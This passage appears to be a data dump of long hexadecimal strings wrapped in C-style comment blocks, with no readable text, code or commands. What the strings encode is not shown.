8cc4a4320027e6ed6134a91c5d67a1fe3d2ca09a268c1908ca0d8b740d6acc1d5b03f8a3c527592d8b8416fff81a04e707b11cba18cddd2f374f0b191505f45b25551d45b0645f74a3de37744092c72075c1cada386f669fd06dcf4f093e23431e7f007f15e924c1bad8d93849d2c1e71a8f67f98ab4af8ae39355bef8ec1308afe0388cdfab344ca2d0dbbce8c8a6ad4b47907dbe88d4c2a7ca9adb499c136e28934e9286d6922f5d6349b5ae9ff0eea9ee1ba987bae69011d7a4cd70f44e9b6872e9c4977b4e55c90b647215edaf39c58212c5e14346157f6ce5d1b0518acfcc8984ad0bd427d097f78446261b793c63e22648c3ad8d66a988b3698f82d505890cfac6c45f89b6a2a23f71283e76a3913b604d7e671b1c8ecab0dcdbdbd4fa32c15b3995b1417bc7b2c3ed76dbd1d605522c64fcc9e491d1044ced9996529e42dd96c2368e95422c0b962db5dc10aab5f110c4a9afc4d9cf41cbdaa898940489fed0b0797e9cc6f4d5256eee9560de2e7242d3b2508752ed34a0e250a98d468d64e389d90d77e888757c80430a47894bb3ea2d9f4da6de824b0c499ae23a306cde1380ff53b499df06f453038379e7077cd42a30c1308067742242a320f9f1117a789444532e72a0f8f5d7cb05ad24132caa5cb1046d410e201f43846ad05ceaf19868abead73e2dd94169ba5fcf260435e83548f408242ebd406a420dd8a6b7e3266cf2b1929eac3dd07c772326d46b758b471808a214bb71e6baa18757635b577c0c7e89cade0ed2def181df27e1e717182775c57f1dba871646bd99ac5a2b9f4fb04522e014381c527763ec5877ee06d7f38c26806fc4eea6d90c3a28577483fead4ee061baa553a93539fecc8cf4304aedd9be712beb25d98c15be788fb2eb466ecab9a880ff4caab67f56564e287276a869e04f61bb725d82413867fe61845ea1b6806f0fb457022d294ae56295e7b7f96c46caa185f755087fa284fcb2189135a6622e5162cf0d9be934c920de41c62b6d87acd9ec1c7ea30726249f9aefebbd908831c1a2818539966b976533d4e0885ab540ef6889a4f7c7e38490222c76886c771a7ff68c96fa26a1ad8e7e4a5f8f0c15acb1686328f49c544c596522d44a3c0bbf29455a5dcae173f7255e3cec7dc830eea26d56940cd3a709c8a8ceb288510b39ffd6999aaeb0cbaef1d31bf00a8b6b3661e273a2520a00c2a276e6a5b4f1980d84b88f73b845e5d963ff53ea4048e28255952eb4454e217fd4dbaa143665cb52890d60e502fe39c4f9542ef0e9a1865d457c997a69f77b0f9a3681ee58b950907977568878f59d08e41a568f482c194588e2bc872b47c3668053aec14d5cec29f21092ff201d67311965b2cb535002964be775bc38fa27380370822fce3ada972db28eee87ebac0fd5d98c3ab16b02a9e244bdd41d6db7f3866cbaccfa75bbf1bc8716d776aea73807ef1f9132aace9745b361b0503e12f7e3232795b9053b19f4bd6f889096376cf126a4058f80f08381566b4081d77712196c7f276a93b3006cb3e4372ef7c15714e8eb527cb895fea285764301c91f92a19246d829bbc4c70152a63333ab63ea949b6502613a53bb08c65ae0566eda709687c31af7484879591f8dd811b164a28aded319c169102df4964ddf34f986f8f02817432f7c03bf009e62b66632c31fcd950ecc20884eefa149c634d555f5c4b686afbaf67da4c4801c49f256049d75a767dce5f576c5770ec1c9ba4bc2b1eb774f2c089e7a4e93e9f2caffcff71d8893d3f4d49f641c27914ceb1b33bf72f995c822a36b0301b2ec92e451372b6e908edd4f51b8b799d2393be663ea2aa7f8e608ae62b784a44da1790f8fb4a75534a9c28e0f365b03e050fe00545fa4f6698f9be05b91b508e1afe6c7cf0cf18e198661c32da29625de1f6d39f1f6fa20caae7789df56a46fa5d72656d5eca362259a88c09ecf95279a921d90f2d8eb6960aac9c6bdb21909a66c2e4b7f6a6a87d5f0f6cae93b81d80d6e624f1ba1f344dea82a087e1271cade9005aa*/
/*91d5f797a165ab27c7f09b30faf1ab1408de9f52a8bd1e86006cf9f77bed4645f3f54bcab42e1eea1b9b43ff9fe0e50c0d4714991dffeb3cd8d3c22d7912ca07367d2ffa8e0a87c2ea7ac2f1c91c998c4936ea9069be97a927327c2618d77250f9911917ae35d3801f98e6beecb7e96bcf249adc768e38116378eda681d548bfd63357532b595ab4ece49c6398cc0731decec1e790ba36ec76f907419a3a0c0972d6c60ad9c9794d92076fe769a51b991432faa9331c5dce9197fda669fa04af625ed00cc2ff68abc92c97ce0b247f47dd259ce4f4fd333cb9c5ac3e7ae1d8b59ec391dc294b5d6707e9e78b6f5c64882b535c9ddfdde88130fd267dd5f472eeb04e87f2af49783cb5dcfdfc5cfa791e475ebb2610f06969c665678b87a7576d6fd350e625f276aea4e572e14284a67de20a6f24ef97b755a6c4915eb357acaa372ca838783c43209f560a7e6e07881c594198cad1142f64f557aae830a1f84efd754769c92028eb6e1d29fbc7c2f9e0e63611448e94ee0e20e80e4b3faa3adc28837f4c0eb320e5a964fe5510d84b443abb50b2766269c930ad004537758c6533aae648007eb848c6bf655fb7cf99b2baa319c31cdfd1a4cceeb7672b92937aa49c3b91658f8ca9cdb6c9e043e9e1106c67ca5372b83cea46606f1b7d551d147f864405e7714aadf02766fc5d44bf4d77f324b4cc29637faea9673605da99e2a4e5ae8b367834a43934ced07ff2c01c49c3061414f10be03aa64b80d24297c1d39648f066ea8c03d75532a9cace250f3986f62aa6506329924964afbdc200af2cb4521ddb83c0a3cc4252a5ee4bfa6407d98a1462bbb40333eb7c289a8f67bdceee293a5f84942c51020869258386be0f43cbde6fc85c42b803f46f208bbbf2d134633a08bbbb7e71a1b6b2f578c79792872de3d505f21792b4d09df25df547556dfc3c9f269b9fb9a99083bb801a38c4e6c0994faea9bb85867c95a1320eda9e84f1670eb1d683964232247aabd14321350fb4406e8bc36580554ea3ac14b292409932f441e0ae83d8cb6d6a21a94b24c4cf9a656ab2e0f54f2450a565fa8bc469c7eb8ef7c6eb701e4ce89bee2b6893b82ea7e9b1ceed726f0201c1bb921934ff47f9929029e94f2df0aafcfd3de73826cc34b1fd1be0161bba18ca13df7bf754c26043d075fef1c856097b689b91a711a1c68bbd0d0c9145266598d5742d1df07c638cf2cd9cb4aeb17bd9ba19d5aecd57dcc20ba48bcf23ea6edea8452ffefbec5c9a1cfc17d6fcdd8179f77b0fef5093e106d479e3ba40e49bd06e7293fa44c6e49fa4b37ec308fc99a37b924adf969a26f1fcbfb8011af2842d233feee06feece1812aabd20cf0bbfbfef48554a526f3fb122f29518b16e7b1d71806ef91305eb4203d27d0d9614f43087674bf6ce6061fb2894e0d7fe1131785f09fdfddd3b7076bfff20ce0ecb41aa0fdac4c227f6d15446fd11cd438a8b1968282ef4c8e6a7fa944b86b2630c30ee7bcafcc4c129beceea39a49a89a5e7532134f5d8ffcb7736c3a4308756c1b31370611555415948457334c0c978112c9b18793103c1288d6b42fd25bae50a9c88698d2ba659bec4cea252903788457ac1e61181df5ec9e418a1923308d65ca636f8d6f42717d340bfab6a3e680e735c5fa84a22d6649f85ca652503079ffed86b038e022ae56886e7205818f28088d268a29fb973ad5cb893f52ec6053fe509a86bf400c8c3aa4d2b4ef1587f25b1149329f467fffb63bbb5db515ff4a6c00a3f4629e1d51b46dbff7a36bf42e63a9c465445fcfa3624911704090b13533bc29a5aea883941cf5d057305889403429f2649434dd2bdffd8430c1ae71a672e8688b1a0dd994813254b47bd71ae3fd8746a15e50a3818bfb72a0fa539952ef182f82d7e73838ca702932296399c9d3babd81bb293f07999899bc9b2f688ae2ac1c6f12cf434f332cd5804d54197e7db94f096e0679b995b2ca5327fc33e30f44d7874c00edd0c7f03ebdbbd4eca3f85659ceb3cfb7341bff8f3298271d89022d386a61bddc02cf67253546fac72e1c831d220430b2e6029c6b30019c85e2e56460ae10b28e04aa078cd0a378398e4e0837436b547496ca6aaf23a3267ded5ed2e48a543837e0c38f98d50d7c1fb22e6194db01bb4bdaa7184bb204aa3a89f7cef20327a16ef0b05aa9678cd49787ee8dabb3901d344ddaf049e4ae2145769f6c33f37a0824cc1d95d468d17a16c24e82df898ca62994a6099ebe908383f264116c98ddfd7d9881686ddbd90476ed2149de26e6592963a4e0e2782c8311d292d070846288f52e6b296d576812e807ea11dbdc69b41005aedb4c12ff3c1c6f5cdc837adc40faa32b7f95df0e4c527a39d3ee55ffe0c5c3b4104a723ebc1200aa08dca4b434e909f4ef5ea5f3c8c074aea69216aafb2354b2708aa0e22a3073a085cb42c5f7de63563037d22cf2d5d5c33d03d4422a29400ef915f77bc8bad0724074023c3caab48cb7058663d847e0b12c2d8195c12dff3927f8973ac30b610cd1baab62716c4eeda912ddd2a584c1ae405e482583d3531e53e9825cc7d0bba07cdca63a9d4a7657daa17f2258ae96a172d6727bc900b686f296716e8464e471288e131ddef8e4967262c44c62781cac85fe91cf4b43fd7296495c9a3bfe958d86acd750c0253b795a14bf37a8c0e91a4e3cb06a2e0f10235387d15d0b5f1aca1fb2fb4d711bc7482b0f82686af4b2b631dd981909b828dc055d097085bb246ca9484de5903bc8216f727e8f80b95e7b9d0043a1efff55266dd3adb197bc61b5c4920021c1b*/
/*1eebe7ac2775db6d252fa4930efe7105fe3079fdd94295a6d56ba468bbc92f64e97a79643236e85fa10fdb3ee392b116480c7b62bf3d356170b0dd849ee0780be71fcee7751f0ed7cb3d48056e36df08ef9d292b75e21f001d57a73767576c43eb5fe9b0b21aecc712111a8be5dc4115ba0b951cc2283798c06a7a856ced6ca95ceef7347c264b516f580b9d340bbb335b7100cd0fe810774af64f12557b2f26bfd454716be19d6a6f610ef9e66dcd4c38a96cdad984ff289e3aa400a3a312b0675e70c37a8e52591f3ce0c2ec80231dfe69e491458a6abe30fd70b27d3fe8b94fb79044686ae5997a0b0f2a1807017e9b898245ad7a8e4b95245cda252a9b8369c3a4ed6c6672854bb439fb9e0645afc8ca592e7c359718ed4beba570e43d5440fc41870178025b50b51936d978273c6611dbfa77d8be6173ca29990cd136c966b07f1c3c60f4a238ba7bc31e7f4ac0e3f12f3fa794f09f49117e12c2a195e040105047bdea711161ff1221f13a8e5bfaaf924c4bbc326d7c8760e5beaaa7939782829a73701b0fd9a14c3f585e5fe57e8df0284a741357334547c9824de527960c455b7b3a4f04f318c5084813517e566a8a2a8edcc1d76b9b6416506a940c41576ba80d83a2497a63708437a2079fd85645bf44c67c15e2d6805d4cec5b6ad17f68261fb803adc5e97558f063691bffa28adeca3e3787685555fd825e7f539c54eb6dac55d91a2a7e56f4d79e57b331b381e80be67ffa4e4048b9fc85e317037d1f2e69c0d05fb0ed823c9ef35d713b6b1af5ecbfe31d5c54f40dc6b9d1ec9989c066a3641a8cd0092600ede7b9db3968f3ebc6d3724a9933d0e219f6530699f746debda95d702d65f78bcd6daf0196fbacd54a2d03deec4b199cf4dc6198a8f902f4ac879f228f51ec8718f3d932c018e9386515842ae603a719c65d005d7ac1618d3e79f6cbd39398ed25563ce452de48147ff08ac4af088d4e78931e43a4fadeb0b5fa05ed889874806c4ac0379b7cc5a1d471b338a097bdd02fa473f63c3965ad51f1dc3defe73f187023e8dbb32a6484b2f9f70143c33e00f3686ec141c226319a0b90044c723eae8416f01e171f353d485ad4b8da08318061c01010af11612976529b0aef240b516ef069918c784016ef3d81df1015bd03a143d116436e929c880154807785e3d7032548c177f8b3bec242f1c312804c1aaf32632e3b57ca395bed3fcd8edfcaddcf116b6777dd7e8ff65e413a98a97753f210d10e1ae20b50fab392e93184d46e2c31bb969a0442d7836663c6985ae9df9b3d42a895ab1544db148999e0364a377cb08bef9311df806e4f9a3dc3d9c4c811819aa338238575b86ae03b58025019e201f2e275e16ee129f6d5a1236dbf1376c028c463b6a3415f05dd0025da668747780a2a450d4b2af481e12e3033bf7b062ffff0080098d7842c7aa1a1ee2257e099b8920ce05c59119375f99efc9198a505d325ea75f6fca5fff975e3056f24f5d3ab959d7d916ad8b7d3be2735dffdfbcee8b0cc579467ea5aa50d8289953e1879fd0ec6ad36d295f0a2adeef80a0c3daf32d167f1f319efc7c76754f914bfb33f763dff38a58d548072836c8f459c948c120f79a92d4f3dabb78552810bb59a6fc95259f2541d2d383fb7782fedf5bb2d702fd32c6444e86a23c90157907d03307c5652a019053ce450f680c2d55783dbe3f5399d000d526cdcea9fa87aae46b20eea07e722223373b1f351ca840fcbd66cb8dcf4d3e4b6bd49046831d03550566c304bf1883313bd0a0e087d95e8a7e3ab374e4dacc4fdbb840373ae8dcecf334229e7b43e7a545830ae4876a220bb23203b3162022e9107026aa84f60f8ef428685f3ba5d1064e5b8630232cc490eea6fbd2019a91992793740e30c076bab667f205d92cd3d4c08da5f15db056cd7cc03a8990af6c7932897231f2ee9eddb57200b5ec12926efd0c0503912461ad7c635edd7f4a87f78c4f42eff9c652990aea4a6f6c8e6e78ef4c6c039ec7e678b35790571971a8e62e8d79483eeab7c1882dcc88d8de1c76f6342f7b16dc18d078a505512f1479b19a41059c9072646f9905d8c50bb130ce7357d9cb027030d6cf905fa734ffb5699342b20a8ab0484f5a7a569102a9530fa247ecba8cccf47c77a26a04ede97c0d536ec985a260b04d804b56d6b31f6e954eb3a857100a39cef37480c65ee75e83a55e5f88ac758eef7de37353888829ddf101067c25df8f706f14b7921c90ea4cf5cdbe3a911dfc4a380e3716d3844080d29baab9f9729fa49a740b8c6e7ab7b5fd086e977e0b7f64b14ee8594c06700b35edf9b011d3d701d4f0bb182be691acd5c646aac17fa5a755d3cb33a5871a85fd72fc888e2e1cdf26979c06da7e451958c9697bcd98971473a010709f147596856e4c8cc7de4bbd0b1d9eaed47d4cc00b41be08caa31ed7f9a57ddc6cd25bd07f46969a533fb78271a5558c7cfbe7f4d4c46cf29df3a27fd465253ec9d30b9a7d7ba08cb2ff15a9215dc2fe356f0238ee3a3e5d48cdf556783df8cf6c5540046c399d7fd20335c8a5d54d1605040a0b194d2c971000072a2d6bdf8f64de2c1f45ddac831a35f769e8392727f0d7037d149b26b5c54cf21a4bee7254b1a5ed91380b0b224f4c9f73847818d8612535f27a17e86c5c2f8844cd6a1f40bc8b2b13d821c0300893691b15bb1ba8a07c25e974f537cf8bdae0f7abf7a1a94cae1f50c35865b6120ff4f439947728d3f8a3860e00acb408ecc9d7f2d91e4e6976ba6ba769f448c6c303dfbdc98d85efd6cfb72eb9cc965edd836f4c608b5*/
/*c33f1561adf27f0af57c6889466be05058279a71b8c3af211f91a168c6dbdc1e57014a9f743d374fffed8fd90a4d1151d65851137bbefc5f761e6cb079bab8aae44fdf57fef78523214770bbfe11c7fd7a2112164d7c11727cadcbdf1f7db35bb63abf097fad0cde07d90061bcf66d8319d523e718d055e2c8fd0ffcdc4741bd4269c41fc0d7d1ef9e2f098ee0bf43691bfc7a387e4cd34d2042e02c0bc3b5d32f3b94cf59c77c43e6d3cf04e0ce43a944289e02d9d3a15b07c8ae628ce4441d00f8423456148511e931cc46b9580e8f48b5167e93e38f1e5cbdbebbf565d7208b08aec8b751ea0a485825ecffea93e7cb14f68419d0534a9351a09aaa7e09d85ec93cd35f7d76f9dbe262b3f14df1239cd0a1135bb11a314c129939efd017837c1aad533db279c65ca515819e8285a5480ef25d716123019dff2e750d80b945027970ba7926b8758530044a169943ba13e555fd910a08129ba7bbdb90e86bb56af8a430925435721fe8995b49b901b326fdc469a2acfce145f1c3233a54f21e1fe628e32c68a24c1434cdf32195d7c427af7fa7820c2e51dd4d3b453730d0cdcd0ffecf097e6187b8258dd8c46cbc6fc3dd48ee2d46d35946b058f694e67470374b1b0f8c3b5af24514d08481d63bc58b187f14b352a6bd82fe377fdc91c5738471f06b58058b8abbce5d03cfbbfcb3df5b724883cd32e1e5de7ff9dde807711889e52b509945c249a9a02ec34e2b1fc9e7246de2486e2adeb78fbd319189231aa1d198099474fa4f6e8eab7f001c787240a73f9cedef82af3e4b9874b8fa9416de8cc17f7ca11ae294214c7925fb91bc075442b9ab4ff15c9952d21b572502be9b5ceb04028e9b3956e87354b0174a4192a04f2a2529e572ba8a5f158a7f2a6c9122633f4bdc0c19376a2d6165a4ef6669aa2229e478abee3e7232c21b7dba40697599a1916177b914774d19b528ad4698690745575157f81801ad0a767b4c1a3478008dbc02f0a40c8c5c9ccb065752c63d5725be0b6a9a147ac222f910c4bbb971b4d1b956a1083c2b4ce4671fe882d12899271ed9bda29ec87ba80790abf3a969cffbf1cb1a6bd3b8a1cb4edf5569e5079d3e96c21f5158a3bef9a928a47fe413339cc39b2424c7b59586d7fab0d6ac29663fccc136c56df2560f8268059c96462ead4f1a3010ba78834d99923d90d142e8b682aaada3f273c1e3faf9c122cf6e6933c6af62cd34da7a28b3a73a39eced75221f646836370c73652cb54c64b5433e16da829d60695e9ae9eeffbc135847b0de1ea7e7095ab595d49ae0f4c9d6ae2528f78543d58945faa18e45abd782c8af1cbe945b37a75b45e44e70dd4923b0aaeeb08cde07a4aca0765ca13910b9fb214946dfbfde23610f31dfc3e0e75a34c1f34c442a5510219abade477dfb5bf66ab9a602d0ed24932a346c464c63f9018be2dfb5949fffd6c13bef6b460eddc39b3f55024aa9cdccd89b89374453ecda39a8517fbce6f315518004de107230827922d7c29bf8639447886ab3d3db0c519e649c456be720cf040207ea515d421e52c88d8e89371a099e8d8280257f5cb6e1fee0debee78d67391e5521ffa49d0ac64f0a63346fa7e4bde06bc0d204871b57ad328044e9dbda3926f803fa77dd8824afbb75bfcfa83778696da48bb78ba4a369728989a37bedde810ecd538a40a32fc9ba5ae34f9e788bca994efb99779e82b972d4eca241e73c1ad6ead7e37247821fbe5512bb0ae2a7ee0734f5c0e4ef9236bf83a5908218f5bb91b7f51d4a14c2d5a6cf8e8e8913e9c2d48bb3773c5f781d0fab4d585084ebed1ee0c82298413d8bce5cda39bca5e094cb039a1c2c82d52e146a65e87c45b0e6c6d9f3db2a482b2e3f0f4d836ae80fc6aa844b1aab069de6af8e14263404332fbe4a73cb64553b82480f0309f0ba44eba1a26e4991dc4998a9207e1ad04ce08b5cf54646d015ae84901cc118a847ebb66821e142d15861b4bc258df59cb614263613a6346283dd79316992bd0d28f6b8619e20d10e7432e9b32deeb903cc37195a06295969e86b730238252f4b70c82e065c2bb16289da1bc928d69fd8dd272f2cd7e264d8efdbb19d091bdba353f8b396913755953f2dafa3c86d7782d2c770246a16403575d62f65731dd699e502a5fb5f1f00830fc469ab950c0fc5a4b42b0f88ff82db461f3ac6701023ff01a734c3009894ca2ac5848513c60b06e5f44894bb123718922bc930edfea85e4a9f82af5c51717056f858f402fddab99445b3bf74f8759de983acc1511cab8b8a14a0500f2bc041942114186b266808f72fb964ea9bec25fe276f064cbb6488cbe4be5672a58da1687989ce3849657c88019f5cff32f1f2a0dd3288bf11d1d8c963694392b7c2adfd63d66b16d2c68ab8b883dfe6c24e2cad15e38384d9b46c9f3697730799db86798fd26610684fff2d0695c000df6fb3d0cd0d1c151b9ee29f309a38ce18f0abab953e8140172153b2414038fb58fb2f0e00ffe9b040408686ff3b8269902850d7895fb257b5e343bb9475483d6fcbc196a7ecf98a39cdb811ea139c8fd2a83ac4884659922761d887460b7f2bf84ee7261203da72093eab0a7040c32e1cc2a5589af86bcd1dd34c815c52663cf71a3f448159c1768097fdd3c33bd66c8d523ae16ca969e23b9e05ee009b267293c7666bf5ec0201beaaf6c36d3b4eb2ea025d5bde56788004a39e9767ba840e1fe27a10afe7f0592acf2ddb617cd3d00f6c712f587022cc45e3517e0de132ff2c647a30bf36530240b43cb378dfae94443f071bdd9c86100067e420c7cb89851e*/
/*d4410e1772f13eb77972e4cb2b9951182ae5ec1c1c2122434989e32c22d7dcefdc08a408484f0eb793333530894b98c09363ddd1d7892bff0b67d1704b5bc4db7f37c4707b9bc0d3adf1b41b48e28f7a3128965f315f974344cfa0e5c1ba93ddf7e0895a1959f6bb6ccd3603ac87e2a8f92362609f1888220b6a9103f7c7a5ea0fddb439652b198b5756e8c29e322270911b6f6c88ece2d8fce286388eb2c5aa5d77e467efe2004f4fcfa0aed0450a18261cbf7afd45e83d1d527a112b01fc7341f4d94f382ee341712a9db865a312910903494d04c4165faf9a6cd4fd9abb0df316c2e883742ab4889dd1c4ee80eb14db15a2bff2b1b9a917f646dbdb308f605285940d7aec97ba30c72c598c91e12c3e40b8f097ccf86d7c51ab03a88808ca0312ab842c3461c84977392da3bec9693362d848a4fd6ba176f3df16c885df0bd3bc1d4c28a42a591a564816066fec9cea6e21deac4ce36b63fce739be5c6edee2df5f2b02abb80f62ace0889cbb472271220d3606762207d1b95fa263b396b463658c4d85adcb5377d13b3a4ebd0f5468430e6101fb6e4339e0e01edec1f724939e71ffca7664c03812fc13f890d0c2748d26d8f53d11be3227d917cdb08f181c8280a0405effa74243e3aa62b7a0efe02a0143908e680862b5c680ec7b192db61fff2b3efd2b5a0c25c6e5f9eb430a732fae312cd35a946831d610a024b49b0495313b5791197f00600a3c86fbc1f5290de58ae31290dda636c7e4782c4d44e6b3806c7480ed6cfaf6ebc11e796a94dda2a547e76fde9df079aa291408cde0df79d39cf966b462eb8199170d941aa0f05343e2d6cba31c0c3c76fb2534a2070c06e821e068572bba58d3b73b2082e993189d163d9397a38ee165cbaeeceaddbdac467f649d9b87980a6f2ffecdbe36e3686f12ab179c5b8e116eb90adc16d1c780f2914962a4bc8e977dc133d35e2a5f83a99b48a30c697dc6c766fd798480e2d59e1e3336dbdb6d03d920b7e846a5a396175aba49ee86ff28f17cc0ad5a8a2cb73b3dbcba1d473725a8fcb8beae24b245412f004b1b45867e23ad1d4727ab3b2ca40e421bc1b081a780e4ad4d58285c50c5de2de1abd5b171b620d7cbd299da00f12c1a0691c938cf7fdd665256c5c6c4d43f0d832901a68b9821874d8d2f2f5733652c8000ca182b75b8488ea01ac672278426df9c8f4daebae78647b86e5a236731c1fd7f4687655984d6646fb04b8e0ebf9692095f1a48b120f0ff7fe9b16a5d26bd85e9551811d31682efba308e4011fc80c1dce6bddf83a5ca9de51cc3b4a452a26b9cfd55497d5923b2e80fba2beccc8fd0b32d194ecdc3e714ff23eba7b73394873688a3b213fe52f4feceab1a51e0c22b3a547710d8c55e10b63611e354368efb9a20b98db310fc24d83da73afb033990f8ab7c9eba74953e09e50fc3129b7922c3171867faba1f4fe2b8696b115a5cb674f2ba42b04ecc3bded525080c050a15eea44768c28568374b44e26d6d13c7e410dedc159b373895d47ced81f78fd69ed5c14ed36c0b2bcc6b48282abe64def318e368cedb378d7337c7da43a9d0ac3342a8b0a9dd50722f73fa95921d4a946332ecc5a9094cb275f5518e55b6fb23c5eb0cd43bd77c8c79ccb7bd8ebd630ec7663cb4e34cc0babb62d24993abb5e9013fbebd6806b5f586c3083dc3ac2be8876791dfa50b451529f6c1b722af5cfc8d0859577512f84d1f4b99c7a0bc34c9d4e3f16b7cebaea23dc1641a518521ec324999fa51e963d51bb94c3bce43fd9bac17d1facc10cca6054e6c81ec98dee533f86fc3453b6a5ad5aa22ff759fb2b98bdece01b4db9e79eb18220525293c2d32565a0f7b8d96efd26a1102fae5ee1affc17376ced72d0fe6c5211d7df97b31a86e1227e56bf7ebadb8574c728010578c32c73e299dfe497a4d8e8f7dd911891a0e6422ec7d1ffac12a64ac7f4d163633150b3c4b4bda75b1b3b839add10c598f8dc090f3a87548cd6bc46100b97853aa30e28c27eacf5d05d308620e841226d9296308d1574e8bf16c89d3b4a89094115e7891958d573f1561317a0c5ff286126ed4c7c5bc77831c10a13685238c743b1102d3f8d6f8089c2e8db0ada1b4c817b8af14159a313946e5589c5bd97ba698168540cd4506759cbd7fd7dfd338e0ea8262ce51451ab3e80c2a6a33183527e0f15aaed150af2365e4bcfceced9fd8da51320e1ebbef45e2e6fea879595edbcd753552a01aa81487925be9403eb7138b33c6507bcbc667807c688a5e6a1840047de857462a746e1e094cbcac0f8a59cd99b2358654fad2605d657736f1dad9543796e56570e1c49480cca52a676750c0172de95681b6bb84e3025eee656a65550257a8a4b4a03c061624309ec3269e26da337346254dfb0005ded795fd10b62369447706b802c69d257284ba72424eb236de5beca94dda65f3d6d338969e1ff9fde9443e0f369e90c4f28196dcfb5bd42bd93d7d3f6736621906e9290edfcf6bce3db56b44315d40f74c3fc2c46fa802122a890063c9bc7ca3b8e5a6ebcc4db61ffada59e52a7ee1188069c673fb55c22f5a3e717449ae43df19295186d0c9356b1a099224c567955efbe620ee7f500577fe619913c07b6a6bfbdb57e1d406faabe0d66f5224239ee1e2de48dcd753ede5792712692ef69d50e3c12dfa6917333d1cc63d228c5b4d748d2a60bfa9fda6ba9f51be07b251d5466ff91ecf12aba29679d1830a7c9ac159a726ecd5a28e509a87964c3c1c685fcc8514a196b472dc52af95e2355e2ccb6f28eba142cdf96a773864431ffc8f85c43f*/
/*c67d326179606dbd32b7839a0ac8daa93de7bb6bd24bf68965d176c45864c8d10872ddded85f7c6feb671ad55d0ba3700eab5f8b8a86bb1101bf7b014fe3866a9c952bea90d36aebc80008851ea83059fa216e5dc03bd225d6e86ea3a85548371a6abdb26c76038e08443537881a6ed16077c1c42028dbfcc6f3d6a35a44b5ea5e67c2a622d08f812982d94ae7ebab216d9bf912c8e64116c83fe2046ff2cb337b316a310c6dd8c4dbf702f58a3b75c25368b72346909b68b8cae7ffde2d78049b241335293b73b4434654e2de3db362eec5af9d57d8ae0ec8c8a0ee798cab9110956f8661d20a003124aac6f54eabc7495d811ca9561cb53512b5b672ac3ced682fbeb49633d0eab4091d77cd51b13d3ab21976cbd7260e90223cfc8df65fb264501f806fb4b6956bbed8ea1f0600a93540a8361401794b4693d05c037d0428528bdef03aeaff58f7c88abd97516a2da13a56f9a1da65980ff8789024b94ec8a375aec926c7298690035ac11b550407d4fbedc36d95d37fa99f000bd6196877601a28e6c1272b5012cb893d1b0f1b3f329ff0622f21cb3c27b361a241e845bbefb742ac46cfbd4e2b42f308d564baec3688b96772fd1f2be46b2cbaabf77071fba9bbcc7f9b63d739f59e18d1472cfb9913c68a4f2cd4f6df8d2603b382a7889a2e27af566ce57041a5891ca6ba4019eb6b69525bd298d31406938df0450865d57200c8fb974f21c741fd7100f05544978ebe14fa8f18260cf18daf6df57d304ef6caa1690c1a86bab76b27b7351089761ab9c7bf42f4fb1ad81d69835b34ebfbb64dfbfbb1388423acd28eac813a51a0f9e34e7c1a68f3fc42495987cd366affe361f0143aeb4a1b14f8224d6a3577bba6b88f8941ca9ce4b30bd5dfa2c2438ac8a2394f265626069f2281b3792da1c248b305a059f5e712ee58aa33bfb3ca01450bd8ce6e21bc61367966125705b275a72ab8255b545c2361759e7d3eb1ea18b27638408df9c2223c48b8f7c73ab82cb062a9d63512169fe7a1ea4e58901a231c8189d56852c9870c8c16b6685b8af60e46a8b8b385460965da2fa2f4ab9304d7ea9c0bcdfdde5a44e10d917d8e721e8eb3d540495c3d2ea5fd2d921c83bcb8cdb3d4fcca77e89f4dc670c62c58dad6b02560cdd109dab4ca3474a205c9b3ccc574435cc4abfa8e07b2537321f6e26d7edf5d696bb2dfd48837c4b6d635e0406aacc73b5bc4507c28dd7e7fd1e2d41f1a382a222963f94346837f8aa76fe81fef6844e76ab6973d3841e674a0f399e928a25987694cb2cec9fd34234a7c9d3d394a2a778fe33c45f71e06a07a0354e32de0f0dfa736459311a22d8aeaea2f7997554be42375079b668ffaaacb3386134f7ac58366516958ff25ecfd298eef347ec8eec62c11132d178254a62b77abc0aca9c461a66c9d5014c1d80cc9993dc674b098afd42fd545af3a582ba040b3496413521f840eb7dc17ce2315f82684c47e4870fa6b589066650263c2859fdb627c6b9f78d06b418d823394f37f34af398220b24ac7f5cbe3969cc630aef48bef7145bf55e4cca870c8aa998fca2e93b9f9513550b78d888d8ed0c9cb6791019a2ce45ad56d6c3138ffccf9968e7d9b33d096801dd302f061500824238d432778badfcc15a244ac8d7e08724b12f818827a7cae864f39d6eba6d4026b59c7c3300b82c851cb11d5d8d07b4f1fd2646bfd3910c1b3a1039a84f3e01c601025fd159cb7aac6b54599958ebf5e50e747e1c43071b598544d825b8905aafa7ae4558fccca2e9225722c61fc976b59fcdaadfc696549ce563fbb1268f509d6057fb920c9c5d03a45f8c5b4185291e9280caf369ab5928a1fa20e4963feec39bb2f73453ea0f28963237d303bec7256445d00a63196de6b4490c2045621bb8f61951751fe6dfc12b6cb61eab2c640d2612529a5893cd17d28bfa5344429f8df97453d9595cdf88c07cc9efe251ca92b7b454bdf51f2fb5dbfc36cad50842dd15bcc7de4ede2b2ad37579f651665a29ad5fccb5b3460deb862d2c74be62b62df65e7677b2e45f27d4738dd45c26d4abce3f7fb0954e031fa8d524c962b17894439599f6869fb703235c16e00a4f0cc607cb9589334c84c5ca73c25d0b11b6b906b6e84e44aff87bd110d5d13ad447cd990644b7bf3183a826aa416acd33ab3d4f205286635ee73aef504179ffecb3fa0193b4dc161f19cf2aa73062b5733df5fd7339626dc357edf332a4457582a77aa47c2b2fcbb0213405f5f763bc45b21979c312901f9b3209fb740ca2cfb7cd694490ea35d05b1de473aabdbec7f9d0e90d3ae1a0ea342d0c3b4cb9c060d914c9187d06c96d458acfeb8e6db2511b3e1fe788f6287ce1d06af2f69995912e72de02b02c159acb06f701ff7e6964674492fb3b8ca86d029445acb070dd6d35febfb1eaade4f83b0b8e7ab98dff749b5b80949b9857ac3e79241d04cebb3641794a35df6631b8167968410ee69d035c24724212b2fe64c6b7098bbd3a120d213c9a90e9d132b1c4e93a6adb9e61107e32c8886ad3871ed2e068e4993efb99a75d2ee9465959711a3baefe4996eb588a692e3b1296fa247c3dbf3737d99e42da392aa02a1e01d4ecd4f7ce6ed9ad98b82a7377ecdb649bb37fe3f972741a95b7babf047536e37cdca28408fddc41688e3fb904a5dba5650ab60a6a4150dfe4aab874a7080d1807c0e3673a0f5e8c7baa76ce44be6e3a75680d322f5857168c44d5499b08372fb91acb0ea588b547e062df7b52e2669d7d35d2765deee921e5a7ecc33a67d1a8bc6a646ce5abdedd4c4eda563b0d928*/
